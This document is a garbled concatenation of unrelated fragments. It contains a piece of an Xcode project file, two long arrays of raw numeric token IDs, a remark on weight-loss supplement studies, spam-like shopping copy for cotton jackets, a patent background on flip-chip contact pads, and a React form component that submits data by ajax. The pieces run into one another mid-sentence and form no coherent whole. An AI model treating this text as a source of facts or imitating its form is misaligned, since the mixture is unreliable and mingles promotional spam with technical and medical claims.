PBXProject section */ 13C4D59F1DDDDED300D5DC29 /* Project object */ = { isa = PBXProject; attributes = { LastSwiftUpdateCheck = 0810; LastUpgradeCheck = 0810; ORGANIZATIONNAME = "Krisztian Goedrei"; TargetAttributes = { 13C4D5A61DDDDED300D5DC29 = { CreatedOnToolsVersion = 8.1; DevelopmentTeam = 9NS44DLTN7; ProvisioningStyle = Manual; }; 13C4D5BA1DDDDED400D5DC29 = { CreatedOnToolsVersion = 8.1; DevelopmentTeam = 72SA8V3WYL; ProvisioningStyle = Automatic;

[ 13, 697, 1512, 6906, 15, 187, 187, 3726, 1119, 642, 1941, 326, 30824, 10179, 695, 3527, 13, 253, 3939, 24405, 275, 2801, 2957, 3580, 1160, 432, 305, 20153, 571, 31801, 462, 571, 13, 4197, 1534, 2801, 2957, 15, 380, 2448, 9109, 273, 15022, 32212, 275, 6157, 3863, 247, 12082, 2278, 273, 11419, 14, 47927, 285, 3382, 7587, 327, 15048, 26434, 323, 2801, 2957, 407, 19767, 9921, 8607, 387, 253, 12565, 1005, 273, 1889, 1715, 285, 48022, 15, 187, 187, 48698, 323, 2159, 17649, 18553, 3909, 387, 17661, 15, 7648, 15076, 327, 21754, 689, 370, 1671, 285, 5321, 608, 6, 1046, 1388, 342, 634, 17661, 40559, 9290, 15, 436, 18553, 310, 594, 4451, 15, 952, 588, 320, 28193, 816, 2820, 281, 4677, 436, 18553, 562, 537, 253, 2144, 310, 247, 5322, 3290, 8067, 15, 253, 3740, 310, 594, 1027, 275, 253, 1682, 1039, 15, 253, 4944, 310, 5091, 6, 2032, 281, 1979, 15, 29264, 2784, 323, 4661, 522, 14196, 17649, 18553, 387, 48730, 27920, 273, 1355, 374, 285, 625, 432, 11829, 23966, 2255, 18553, 13, 37323, 23966, 18553, 2255, 13, 75, 8300, 18553, 327, 352, 1348, 14, 466, 412, 15, 72, 82, 964, 18, 15, 23557, 7327, 187, 510, 3688, 7033, 3839, 281, 247, 1029, 10236, 11291, 5522, 13, 285, 625, 3782, 13, 281, 247, 2605, 323, 19153, 14, 18421, 6604, 494, 3057, 25297, 327, 247, 2553, 273, 247, 11291, 10289, 15, 187, 19, 15, 15073, 3975, 187, 510, 2905, 1445, 3400, 19153, 14, 18421, 25502, 1690, 247, 6605, 1907, 35610, 14, 251, 16152, 25297, 323, 14167, 10236, 16666, 390, 643, 16007, 15, 14702, 23566, 11782, 313, 35, 7283, 10, 11291, 12149, 403, 5431, 8818, 342, 247, 6605, 313, 70, 15, 72, 904, 11291, 10289, 10, 326, 8525, 253, 8527, 5049, 285, 534, 556, 247, 6605, 5161, 326, 310, 8818, 342, 6041, 11462, 5049, 4450, 4870, 13, 824, 347, 298, 10899, 15, 380, 19633, 23601, 9421, 891, 15, 70, 904, 1755, 285, 5004, 9421, 10, 273, 253, 6605, 1016, 3831, 247, 11234, 273, 7329, 35610, 14, 251, 5148, 16152, 25297, 313, 70, 15, 72, 15, 35610, 14, 251, 14295, 25297, 481, 22460, 13, 247, 31223, 4023, 310, 4845, 4830, 1016, 7329, 16152, 13229, 15, 380, 31223, 15254, 403, 840, 16934, 285, 1275, 676, 264, 281, 5533, 253, 15254, 281, 253, 35610, 14, 251, 5148, 16152, 25297, 15, 5815, 273, 253, 35610, 14, 251, 16152, 25297, 310, 840, 13318, 285, 23810, 4802, 949, 253, 31223, 4023, 281, 247, 3969, 11937, 1025, 13229, 327, 253, 11291, 9739, 84, 2553, 390, 327, 253, 2553, 273, 1529, 6605, 15, 187, 510, 2905, 1445, 4948, 253, 16152, 25297, 327, 253, 19633, 9421, 273, 247, 6605, 407, 19693, 5148, 40774, 5609, 313, 70, 15, 72, 904, 1516, 1102, 405, 14295, 40774, 3560, 407, 15753, 16, 29165, 40774, 481, 380, 11937, 1320, 1232, 5431, 7091, 281, 4711, 253, 35610, 14, 251, 16152, 25297, 273, 253, 2905, 1445, 12093, 6024, 40774, 5018, 285, 310, 4942, 673, 21337, 285, 8214, 15, 187, 510, 1246, 3688, 35580, 253, 878, 323, 2553, 11937, 1320, 40774, 5018, 275, 253, 4702, 273, 6024, 3057, 25297, 1223, 5277, 271, 37265, 1332, 273, 9046, 12762, 19, 89, 1438, 89, 26, 68, 43272, 14, 18421, 6604, 494, 7096, 19, 89, 1438, 89, 26, 69, 3057, 11937, 3922, 90, 327, 253, 2553, 9, 84, 10, 273, 247, 6605, 313, 70, 15, 72, 13, 247, 1029, 4038, 11291, 10289, 481, 1284, 588, 320, 2007, 2529, 13, 253, 8545, 10291, 875, 253, 6605, 2553, 285, 247, 19153, 14, 18421, 285, 253, 4795, 2605, 403, 8818, 29187, 970, 21656, 17063, 19604, 2144, 313, 70, 15, 72, 904, 19604, 15596, 13, 390, 31223, 15596, 481, 187, 23135, 247, 8350, 4809, 273, 253, 3688, 13, 3400, 247, 6605, 1907, 247, 18884, 3828, 875, 247, 806, 5148, 3828, 285, 247, 1273, 5148, 3828, 13, 253, 1273, 5148, 3828, 1146, 15432, 1840, 253, 806, 5148, 3828, 13, 253, 806, 5148, 3828, 1907, 247, 806, 3057, 2170, 13, 253, 1273, 5148, 3828, 1907, 247, 4236, 2170, 15432, 1840, 253, 806, 3057, 2170, 28, 285, 247, 2494, 13917, 13369, 1561, 253, 4236, 2170, 1146, 15432, 949, 253, 1273, 5148, 3828, 285, 949, 253, 18884, 3828, 285, 13633, 281, 253, 806, 3057, 2170, 273, 253, 806, 5148, 3828, 28, 247, 2280, 273, 19604, 2144, 9046, 247, 3828, 2220, 253, 4236, 2170, 273, 253, 1273, 5148, 3828, 285, 1146, 3304, 253, 2494, 13917, 13369, 285, 1146, 275, 3057, 342, 253, 806, 3057, 2170, 273, 253, 806, 5148, 3828, 15, 187, 8195, 4735, 273, 253, 1246, 3688, 3400, 247, 1332, 323, 9046, 3057, 25297, 327, 247, 6605, 13, 11616, 5277, 247, 6605, 1690, 247, 806, 5148, 2553, 285, 271, 6024, 5148, 27204, 3828, 285, 247, 3828, 273, 18884, 2144, 15432, 875, 253, 806, 5148, 2553, 285, 253, 6024, 5148, 27204, 3828, 28, 27024, 839, 253, 6024, 5148, 27204, 3828, 285, 253, 18884, 3828, 281, 22065, 247, 5110, 273, 253, 806, 5148, 2553, 28, 21656, 8563, 2996, 247, 19604, 2144, 2220, 253, 7329, 5110, 273, 253, 806, 5148, 2553, 285, 2220, 247, 10844, 2170, 273, 253, 6024, 5148, 27204, 3828, 1475, 253, 7329, 5110, 273, 253, 806, 5148, 2553, 28, 29411, 253, 6024, 5148, 27204, 3828, 970, 253, 21656, 17063, 19604, 2144, 347, 271, 47514, 8989, 15, 187, 510, 20128, 285, 643, 3386, 273, 253, 3688, 588, 320, 5165, 432, 253, 1563, 625, 1798, 5740, 273, 24898, 273, 253, 3688, 13, 347, 12800, 275, 253, 17909, 21780, 15, 2948, 23782, 432, 346, 22312, 3664, 187, 2948, 551, 15552, 15668, 748, 432, 346, 8560, 14, 10706, 3664, 187, 2948, 10318, 21822, 8982, 432, 47490, 4312, 8982, 16, 4312, 21822, 8982, 3664, 187, 2948, 10882, 21822, 8982, 432, 47490, 6586, 8982, 16, 6586, 21822, 8982, 3664, 187, 2948, 11605, 1701, 8880, 432, 346, 4990, 14, 4113, 16, 21328, 1701, 8880, 3664, 187, 2948, 30631, 83, 432, 346, 936, 505, 83, 3664, 187, 187, 2437, 8078, 8982, 8725, 23782, 15, 12118, 551, 187, 50276, 36073, 9, 21390, 10, 551, 187, 50274, 12185, 9, 21390, 558, 187, 50274, 2520, 15, 3409, 426, 551, 187, 50272, 11242, 27, 8168, 187, 50274, 4718, 187, 50274, 2520, 15, 13161, 6825, 426, 436, 15, 13161, 6825, 15, 13245, 9, 2520, 558, 187, 50274, 2520, 15, 5423, 42520, 426, 436, 15, 5423, 42520, 15, 13245, 9, 2520, 558, 187, 50274, 2520, 15, 11183, 5232, 3233, 426, 436, 15, 11183, 5232, 3233, 15, 13245, 9, 2520, 558, 187, 50276, 94, 535, 50276, 11425, 12118, 11241, 1082, 551, 187, 50274, 2309, 3221, 28, 187, 50276, 94, 535, 50276, 5423, 42520, 9, 630, 3233, 10, 551, 187, 50274, 1059, 941, 426, 25425, 187, 50274, 1542, 313, 1059, 4667, 273, 830, 3233, 15, 35858, 6649, 551, 187, 50272, 2203, 60, 13934, 60, 17, 9502, 426, 4667, 60, 18, 2194, 187, 50274, 94, 187, 50274, 1059, 3280, 38403, 3233, 426, 551, 187, 50272, 1913, 27, 346, 35446, 64, 6971, 8417, 27823, 1703, 995, 187, 50272, 35704, 27, 941, 187, 50274, 4718, 187, 50274, 2520, 15, 5598, 12205, 426, 3497, 15, 5598, 28, 187, 50274, 2520, 15, 5598, 12205, 15, 5996, 7474, 9, 5423, 38403, 3233, 13, 23376, 3287, 187, 50276, 94, 535, 50276, 13161, 6825, 9, 13161, 23054, 13, 6789, 64, 8882, 10, 551, 187, 50274, 5, 19410, 9252, 14, 11872, 6788, 40813, 9, 187, 50272, 92, 187, 50270, 22860, 11387, 27, 28543, 9252, 14, 2154, 6788, 10946, 5023, 3956, 187, 50272, 2023, 187, 50272, 9138, 187, 50274, 558, 535, 50274, 1059, 830, 3233, 426, 747, 7191, 3233, 3914, 19410, 13161, 14, 1156, 2807, 60, 17, 9259, 187, 50274, 2520, 15, 3409, 15, 11242, 15, 4251, 9, 3140, 3001, 551, 187, 50272, 630, 3233, 15, 1178, 9, 3140, 15, 1826, 17479, 13, 1873, 15, 1826, 3140, 13, 1873, 15, 1826, 17479, 558, 187, 50274, 9897, 535, 50274, 338, 313, 4065, 272, 64, 8882, 11013, 346, 32971, 45185, 2807, 551, 187, 50272, 2520, 15, 5423, 42520, 9, 630, 3233, 558, 187, 50274, 94, 535, 50274, 338, 313, 4065, 272, 64, 8882, 11013, 346, 32971, 3, 2785, 6789, 64, 8882, 11013, 346, 32971, 45185, 2807, 551, 187, 50272, 1059, 22639, 18, 426, 29707, 187, 50272, 1059, 22639, 19, 426, 29707, 187, 50272, 1059, 22639, 20, 426, 29707, 187, 50272, 5, 19410, 1212, 2009, 14, 24951, 2807, 187, 50270, 15, 9016, 1587, 44212, 995, 346, 22772, 2807, 187, 50270, 15, 13382, 885, 1082, 187, 50270, 15, 17506, 36810, 3001, 551, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50266, 25250, 27, 346, 1610, 28764, 187, 50268, 9897, 187, 50268, 23896, 18, 426, 873, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 1235, 28764, 187, 50266, 9897, 187, 50268, 2023, 7469, 558, 187, 50268, 23896, 19, 426, 873, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 2082, 28764, 187, 50266, 9897, 187, 50268, 2023, 12891, 558, 187, 50268, 23896, 20, 426, 873, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 2227, 28764, 187, 50266, 9897, 187, 50268, 2023, 9098, 558, 187, 50270, 9897, 187, 50272, 1352, 20742, 7506, 187, 50270, 881, 27, 346, 15743, 995, 187, 50270, 6434, 27, 5007, 23054, 13, 187, 50270, 2203, 27, 830, 3233, 13, 187, 50270, 6071, 2548, 27, 3221, 13, 187, 50270, 12985, 27, 3221, 13, 187, 50270, 7404, 3233, 27, 3221, 13, 187, 50270, 27216, 27, 2032, 13, 187, 50270, 12566, 27, 941, 3001, 551, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50266, 25250, 27, 346, 2313, 28764, 187, 50268, 9897, 187, 50268, 8250, 20780, 9, 23896, 18, 558, 187, 50268, 8250, 20780, 9, 23896, 19, 558, 187, 50268, 8250, 20780, 9, 23896, 20, 558, 187, 50268, 1178, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 9016, 1587, 44212, 995, 346, 19057, 3287, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 17, 28764, 187, 50266, 9897, 187, 50268, 2023, 9098, 558, 187, 50270, 2023, 187, 50270, 3775, 27, 313, 89, 6285, 13, 2505, 9505, 13, 2228, 1044, 2924, 10, 3001, 551, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 9016, 1587, 44212, 995, 346, 19057, 3287, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50266, 25250, 27, 346, 17, 28764, 187, 50268, 9897, 187, 50268, 936, 505, 83, 15, 3775, 1587, 4756, 5866, 48708, 187, 50270, 94, 187, 50272, 9897, 187, 50274, 94, 187, 50276, 94, 535, 50276, 11183, 5232, 3233, 9, 1826, 3140, 13, 747, 17479, 10, 551, 187, 50274, 2520, 15, 1178, 5443, 7506, 187, 50272, 11242, 27, 544, 1051, 2520, 15, 3409, 15, 11242, 13, 551, 747, 17479, 13, 747, 3140, 748, 62, 187, 50274, 9897, 187, 50276, 94, 535, 50276, 12574, 1082, 551, 187, 50274, 2309, 313, 187, 50272, 29, 2154, 32181, 568, 4113, 18932, 4055, 15616, 9860, 1138, 187, 50270, 29, 630, 2654, 568, 13161, 14, 1156, 3, 32181, 568, 17182, 4618, 8031, 494, 20061, 28243, 3280, 1138, 187, 50268, 29, 2154, 32181, 568, 28474, 7588, 14, 32971, 14, 5423, 14, 22127, 3, 2234, 11787, 18102, 15, 14719, 1082, 20499, 187, 50266, 29, 1288, 4725, 187, 50266, 29, 1288, 4725, 187, 50266, 92, 2520, 15, 21390, 15, 1156, 46341, 15, 3985, 2239, 470, 3857, 313, 187, 50264, 29, 2154, 32181, 568, 28474, 7588, 14, 32971, 14, 5423, 14, 1156, 14, 22127, 1138, 187, 50262, 92, 2520, 15, 21390, 15, 1156, 46341, 15, 4251, 4464, 1968, 13, 3605, 10, 3001, 544, 187, 50260, 29, 4312, 21822, 8982, 187, 50258, 2364, 11787, 18102, 15, 14719, 1082, 94, 187, 50258, 4663, 11787, 4663, 94, 187, 50258, 4065, 272, 64, 8882, 11787, 2520, 15, 21390, 15, 4065, 272, 64, 8882, 94, 187, 50258, 1968, 11787, 1968, 94, 187, 50260, 4357, 13, 187, 50260, 29, 1288, 2234, 11787, 18102, 15, 14719, 1082, 94, 4725, 13, 187, 50260, 29, 1288, 2234, 11787, 18102, 15, 14719, 1082, 94, 4725, 187, 50262, 62, 3117, 187, 50264, 870, 2154, 31, 187, 50266, 3117, 187, 50266, 92, 2520, 15, 21390, 15, 5695, 46341, 15, 4251, 4464, 1968, 13, 3605, 10, 3001, 544, 187, 50264, 29, 6586, 21822, 8982, 187, 50262, 2364, 11787, 18102, 15, 14719, 1082, 94, 187, 50262, 4663, 11787, 4663, 94, 187, 50262, 11183, 5232, 3233, 11787, 2520, 15, 11183, 5232 ]

, its too thin. They found no evidence that hydroxycitric acid, the active ingredient in weight loss products made from garcinia cambogia, produced significant weight loss. The American Journal of Clinical Nutrition in 2004 published a systematic review of meta-analyses and clinical trials on dietary supplements for weight loss by complementary medicine researchers at the Universities of Exeter and Plymouth. Shop for short cotton jacket online at Target. Free shipping on purchases over $35 and save 5% every day with your Target REDcard. this jacket is so unique. people will be starring just trying to figure this jacket out.. the material is a nice quality fabric. the style is so different in the best way. the fit is 90% true to size. Shopping for Cheap Short cotton jacket at Struggle of small 2 and more from fur collar women jacket,fur collar jacket women,jacket jacket on it24-ieop.gq.1. Technical Field The invention relates generally to a high semiconductor chip package, and more particularly, to a structure for flip-chip joinable contact pads on a surface of a chip carrier. 2. Related Art The related art provides flip-chip assemblies including a substrate having plated-on attach pads for joining semiconductor chips or other substrates. Ball Grid Array (BGA) chip packages are typically constructed with a substrate (e.g., chip carrier) that supports the integrated circuit and which has a substrate core that is constructed with conventional printed circuit board processes, such as lamination. The exterior planar surfaces i.e., top and bottom surfaces) of the substrate each contain a plurality of exposed plated-on metal attach pads (e.g. plated-on copper pads). Typically, a solder ball is placed onto each exposed attach pad. The solder balls are then heated and reflowed to bond the balls to the plated-on metal attach pads. Each of the plated-on attach pads is then physically and electrically connected through the solder ball to a corresponding metallized pad on the chip""s surface or on the surface of another substrate. The related art forms the attach pads on the exterior surfaces of a substrate by employing metal plating techniques (e.g., electroless copper plating followed by Ni/Au plating). The metallization process typically employed to produce the plated-on attach pads of the related art comprises external plating steps and is relatively time consuming and expensive. The present invention eliminates the need for surface metallization plating steps in the formation of external contact pads while providing an economical method of forming xe2x80x9cflip-chip joinablexe2x80x9d contact metallurgy on the surface(s) of a substrate (e.g, a high density chip carrier). As will be further described, the electrical connections between the substrate surface and a flip-chip and the resulting structure are constructed economically using selectively deposited conductive material (e.g., conductive paste, or solder paste). Accordingly a structural aspect of the invention, provides a substrate having a dielectric layer between a first metal layer and a second metal layer, the second metal layer being disposed above the first metal layer, the first metal layer having a first contact area, the second metal layer having a selected area disposed above the first contact area; and a microvia cavity within the selected area being disposed through the second metal layer and through the dielectric layer and extending to the first contact area of the first metal layer; a mass of conductive material forming a layer upon the selected area of the second metal layer and being inside the microvia cavity and being in contact with the first contact area of the first metal layer. Another feature of the present invention provides a method for forming contact pads on a substrate, comprising providing a substrate including a first metal surface and an external metal foil layer and a layer of dielectric material disposed between the first metal surface and the external metal foil layer; perforating the external metal foil layer and the dielectric layer to expose a portion of the first metal surface; selectively depositing a conductive material upon the exposed portion of the first metal surface and upon a peripheral area of the external metal foil layer around the exposed portion of the first metal surface; etching the external metal foil layer using the selectively deposited conductive material as an etch mask. The foregoing and other features of the invention will be apparent from the following more particular description of embodiments of the invention, as illustrated in the accompanying drawings.import React from "react"; import { PropTypes } from "prop-types"; import TextSingleInput from "../TextInput/TextSingleInput"; import ImageSingleInput from "../ImageInput/ImageSingleInput"; import RaisedButton from "material-ui/RaisedButton"; import toastr from "toastr"; class TypeInput extends React.Component { constructor(props) { super(props); this.state = { files: [] }; this.sendRequest = this.sendRequest.bind(this); this.inputSubmitted = this.inputSubmitted.bind(this); this.updateFormData = this.updateFormData.bind(this); } shouldComponentUpdate() { return false; } inputSubmitted(formData) { let data = {}; for (let pair of formData.entries()) { data[pair[0]] = pair[1]; } let inputSubmitData = { action: "INPUT_SUBMITTED", payload: data }; this.parentWindow = window.parent; this.parentWindow.postMessage(inputSubmitData, "*"); } sendRequest(sendAddr, calling_context) { $("#output-outer").animate( { scrollTop: $("#output-div").offset().top }, 1000 ); let formData = new FormData($("#send-text")[0]); this.state.files.map(file => { formData.set(file.newfilename, file.newfile, file.newfilename); }); if (calling_context === "demoiframe") { this.inputSubmitted(formData); } if (calling_context === "demo" || calling_context === "demoiframe") { let timeout1 = ""; let timeout2 = ""; let timeout3 = ""; $("#appbar-progress") .css("visibility", "visible") .promise() .done(() => { $("#appbar-progress").progress({ percent: "33%" }); timeout1 = setTimeout(() => { $("#appbar-progress").progress({ percent: "50%" }); }, 300); timeout2 = setTimeout(() => { $("#appbar-progress").progress({ percent: "65%" }); }, 600); timeout3 = setTimeout(() => { $("#appbar-progress").progress({ percent: "85%" }); }, 1000); }); $.ajax({ type: "POST", url: sendAddr, data: formData, contentType: false, cache: false, processData: false, async: true, success: data => { $("#appbar-progress").progress({ percent: "100%" }); clearTimeout(timeout1); clearTimeout(timeout2); clearTimeout(timeout3); setTimeout(() => { $("#appbar-progress").css("visibility", "hidden"); $("#appbar-progress").progress({ percent: "0%" }); }, 1000); }, error: (xhr, textStatus, errorThrown) => { $("#appbar-progress").css("visibility", "hidden"); $("#appbar-progress").progress({ percent: "0%" }); toastr.error("Error occurred!"); } }); } } updateFormData(newfile, newfilename) { this.setState({ files: [...this.state.files, { newfilename, newfile }] }); } render() { return ( <div className="ui centered center aligned grid"> <form id="send-text" className="six wide stackable stretched ui input"> <div className="origami-demo-input-components" key={Math.random()}> <br /> <br /> {this.props.textLabels.length > 0 && ( <div className="origami-demo-input-text-components"> {this.props.textLabels.map((label, index) => [ <TextSingleInput key={Math.random()} index={index} calling_context={this.props.calling_context} label={label} />, <br key={Math.random()} />, <br key={Math.random()} /> ])} </div> )} {this.props.imageLabels.map((label, index) => [ <ImageSingleInput key={Math.random()} index={index} updateFormData={this.updateForm

[ 40944, 253, 1840, 2048, 323, 2367, 1179, 378, 724, 715, 253, 2250, 964, 831, 5644, 281, 253, 8789, 844, 476, 1024, 923, 849, 253, 2876, 2507, 3254, 253, 5058, 4438, 15, 1198, 10357, 3087, 14462, 387, 3638, 370, 83, 5, 824, 347, 1157, 253, 669, 3124, 5, 285, 669, 2162, 5, 10575, 273, 253, 2876, 4564, 3066, 253, 5212, 1673, 273, 253, 209, 575, 2163, 412, 1306, 281, 669, 1637, 1352, 1198, 14599, 2192, 455, 273, 253, 2876, 534, 4558, 15312, 1475, 253, 370, 52, 63, 18, 1366, 253, 2802, 25268, 457, 17581, 281, 669, 1637, 5, 3066, 253, 12087, 15, 496, 1016, 1083, 13, 9428, 370, 57, 2850, 2162, 5, 285, 370, 57, 63, 22, 5, 403, 1677, 407, 209, 575, 9, 2858, 370, 57, 2850, 3124, 13, 1594, 63, 83, 5, 403, 10341, 582, 840, 359, 4044, 253, 1563, 26150, 323, 669, 1637, 18965, 1198, 247, 2876, 7063, 8523, 387, 669, 3124, 30, 17, 5, 38311, 2080, 432, 253, 209, 575, 2163, 412, 1306, 13, 342, 2367, 5256, 61, 1637, 724, 17912, 5058, 387, 253, 1265, 273, 253, 3200, 13, 359, 923, 326, 253, 2900, 323, 2367, 5256, 61, 1637, 724, 310, 3103, 3308, 13, 2057, 323, 253, 2876, 534, 44423, 2192, 10037, 13, 390, 323, 253, 2876, 10357, 3087, 387, 23579, 13, 253, 2036, 906, 310, 326, 2367, 5256, 61, 1637, 724, 556, 2559, 407, 2367, 6165, 64, 21, 63, 19, 61, 1189, 19, 61, 2059, 63, 19, 61, 1637, 8, 416, 724, 2378, 253, 2876, 556, 15159, 15, 187, 187, 1231, 476, 671, 1908, 247, 308, 14, 34716, 2715, 273, 436, 1232, 407, 9591, 247, 308, 14, 563, 1319, 9261, 2112, 253, 370, 89, 63, 22, 5, 3884, 3021, 2444, 275, 247, 4114, 835, 370, 89, 63, 22, 5, 556, 2180, 5755, 669, 3582, 416, 426, 393, 1637, 39618, 51, 1352, 831, 9261, 8115, 253, 209, 575, 2163, 412, 1306, 715, 271, 388, 14, 2163, 412, 1306, 209, 575, 395, 247, 2876, 342, 25072, 1475, 370, 89, 63, 22, 5, 715, 247, 2876, 342, 10254, 2112, 370, 89, 63, 22, 5, 964, 380, 308, 14, 563, 1319, 875, 253, 209, 575, 395, 388, 14, 2163, 412, 1306, 5482, 588, 320, 5469, 275, 625, 2508, 275, 253, 1563, 2593, 15, 187, 187, 510, 388, 14, 2163, 412, 1306, 2900, 3936, 253, 2620, 14, 6967, 830, 835, 669, 1637, 13, 393, 2461, 13, 393, 7718, 5, 1024, 1408, 689, 370, 18, 13, 19, 13, 20, 13, 22, 5, 285, 669, 6065, 5, 310, 1677, 407, 835, 370, 83, 426, 14766, 4642, 1269, 23116, 285, 370, 89, 63, 22, 64, 17, 5, 310, 253, 4328, 273, 253, 388, 14, 2163, 412, 1306, 2112, 253, 370, 52, 63, 18, 1352, 187, 187, 8497, 275, 1798, 326, 253, 388, 14, 2163, 412, 1306, 310, 3921, 1439, 4622, 13727, 762, 370, 89, 63, 22, 5, 29971, 13, 12401, 253, 209, 575, 2163, 412, 1306, 15, 1284, 247, 906, 697, 16237, 5120, 12786, 11627, 403, 1677, 407, 29971, 275, 31502, 20, 5, 347, 973, 347, 10234, 2112, 253, 370, 52, 63, 18, 1352, 831, 8018, 326, 627, 310, 247, 5058, 4438, 8785, 209, 575, 34502, 4179, 13, 347, 3264, 432, 308, 14, 563, 1319, 15, 187, 187, 7542, 10234, 275, 370, 89, 63, 22, 5, 310, 642, 3356, 247, 10377, 13, 627, 310, 642, 14144, 1569, 534, 17163, 2352, 253, 10027, 273, 247, 2876, 342, 10254, 2112, 370, 89, 63, 22, 1352, 1723, 387, 1781, 4181, 432, 253, 45966, 1306, 436, 10377, 310, 5512, 3588, 285, 3021, 359, 1537, 1902, 247, 2876, 342, 10254, 387, 1781, 13849, 432, 253, 45966, 1306, 281, 320, 6474, 15, 844, 476, 13, 2299, 13, 407, 24760, 281, 253, 2045, 5955, 3630, 1066, 247, 2876, 18974, 534, 1057, 5386, 253, 10254, 273, 253, 2876, 1223, 7562, 352, 29556, 2080, 432, 432, 253, 45966, 1306, 15, 380, 308, 14, 34716, 273, 253, 2045, 2876, 18974, 310, 1916, 271, 19969, 2819, 387, 253, 2876, 2822, 253, 6146, 15903, 352, 4620, 326, 436, 6661, 15814, 581, 3943, 273, 10254, 275, 253, 370, 89, 63, 22, 5, 3884, 15, 1723, 253, 2120, 2048, 323, 253, 10254, 370, 81, 64, 22, 5, 275, 253, 10720, 3884, 310, 10351, 432, 253, 45966, 1306, 253, 7982, 310, 5512, 6507, 13, 533, 359, 1364, 4456, 326, 352, 310, 3309, 281, 897, 767, 1027, 20412, 281, 6266, 253, 370, 35, 5, 1673, 534, 310, 253, 4972, 2442, 273, 247, 24739, 45966, 1306, 15, 3308, 281, 7472, 370, 81, 64, 22, 5, 275, 253, 10586, 32660, 359, 1364, 897, 253, 4569, 830, 273, 370, 35, 5, 534, 5644, 281, 534, 1057, 6296, 29259, 387, 253, 6420, 15903, 15, 187, 187, 4041, 1039, 281, 1158, 273, 436, 310, 347, 3637, 15, 496, 2876, 3762, 359, 943, 12129, 875, 1669, 285, 987, 14, 26621, 11627, 327, 370, 52, 63, 18, 1352, 496, 253, 209, 575, 2163, 412, 1306, 4114, 247, 2876, 10785, 1475, 253, 38307, 13249, 370, 89, 63, 22, 18914, 30, 1269, 63, 22, 64, 45, 428, 1269, 63, 22, 64, 51, 370, 476, 10357, 527, 984, 253, 370, 52, 63, 18, 5, 310, 5713, 2122, 1327, 14, 85, 1069, 1365, 689, 253, 370, 52, 63, 19, 5, 387, 23579, 15, 380, 308, 14, 34716, 2715, 556, 247, 2876, 342, 10254, 2112, 253, 38307, 13249, 370, 89, 63, 22, 13879, 5, 534, 310, 6425, 281, 247, 2876, 342, 25072, 1475, 253, 8746, 13249, 370, 89, 63, 22, 18914, 30, 89, 63, 22, 64, 45, 428, 50276, 89, 63, 22, 64, 51, 1352, 380, 869, 7695, 273, 253, 370, 35, 5, 1673, 275, 253, 388, 14, 2163, 412, 1306, 310, 6425, 281, 3981, 326, 253, 4156, 18080, 387, 23579, 556, 370, 52, 63, 18, 5, 342, 13249, 370, 89, 63, 22, 64, 14595, 5713, 2122, 689, 253, 370, 52, 63, 19, 5, 387, 23579, 15, 831, 18303, 253, 958, 326, 3921, 15617, 4622, 2876, 11627, 370, 89, 63, 22, 2253, 2617, 5, 1132, 247, 1327, 14, 26551, 2554, 275, 253, 2120, 2900, 15, 743, 1783, 2074, 281, 253, 2045, 581, 2722, 326, 209, 575, 34502, 4179, 310, 14900, 275, 436, 1232, 407, 271, 48866, 273, 1655, 432, 253, 2876, 715, 253, 388, 14, 2163, 412, 1306, 285, 16820, 273, 253, 5058, 4438, 8785, 209, 575, 34502, 4179, 15, 187, 187, 53, 14, 563, 1319, 273, 2876, 3762, 310, 271, 3242, 13358, 11206, 10377, 273, 1327, 44931, 800, 2876, 3762, 15, 844, 778, 2743, 1097, 253, 388, 14, 2163, 412, 1306, 285, 253, 17345, 45966, 1306, 347, 1798, 35188, 273, 253, 1511, 3719, 2876, 5809, 5738, 31502, 21, 393, 3181, 322, 63, 18, 1126, 3582, 416, 94, 393, 3181, 308, 63, 22, 5, 285, 31502, 21, 393, 3181, 322, 63, 18, 64, 51, 50276, 61, 3181, 308, 63, 22, 1366, 2975, 15, 3667, 13073, 347, 3054, 275, 2876, 1673, 3762, 841, 767, 5482, 1364, 320, 8931, 15, 1707, 403, 13, 2299, 13, 247, 1180, 273, 21843, 1981, 2792, 670, 253, 5886, 875, 253, 767, 5482, 347, 1677, 1060, 15, 187, 187, 1466, 441, 1067, 253, 38307, 13249, 273, 370, 52, 63, 18, 1126, 3582, 416, 724, 370, 89, 63, 22, 13879, 5, 285, 326, 273, 370, 52, 63, 18, 64, 51, 5, 275, 253, 308, 14, 34716, 4114, 370, 89, 63, 22, 18914, 1352, 380, 806, 25351, 310, 326, 253, 209, 575, 2163, 412, 1306, 4620, 281, 452, 271, 310, 6213, 1223, 253, 388, 14, 2163, 412, 1306, 1057, 417, 27, 380, 388, 14, 2163, 412, 1306, 2900, 310, 1929, 281, 2723, 281, 271, 3242, 29269, 1673, 3762, 285, 310, 3021, 271, 3242, 2900, 281, 2876, 3762, 1293, 667, 669, 1637, 9805, 17660, 15, 1284, 4879, 275, 253, 2045, 2593, 352, 310, 417, 13727, 762, 29971, 275, 370, 89, 63, 22, 13879, 1352, 3308, 352, 310, 417, 2590, 849, 281, 4647, 253, 2629, 4803, 323, 308, 14, 563, 1319, 21257, 275, 370, 89, 63, 22, 13879, 5, 1580, 841, 2430, 253, 6242, 273, 247, 43779, 4972, 1673, 15, 1623, 253, 643, 1133, 13, 253, 308, 14, 34716, 45966, 1306, 1057, 452, 247, 43779, 4972, 1677, 407, 10234, 275, 370, 89, 63, 22, 64, 14595, 285, 310, 671, 6326, 281, 320, 271, 3242, 2900, 273, 2876, 3762, 1580, 253, 7982, 310, 4373, 76, 1240, 2146, 15, 380, 1273, 25351, 310, 326, 253, 388, 14, 2163, 412, 1306, 15646, 247, 773, 38088, 255, 668, 7982, 387, 1355, 2193, 273, 669, 4642, 1269, 5, 285, 370, 89, 63, 22, 13879, 1352, 831, 310, 247, 12906, 273, 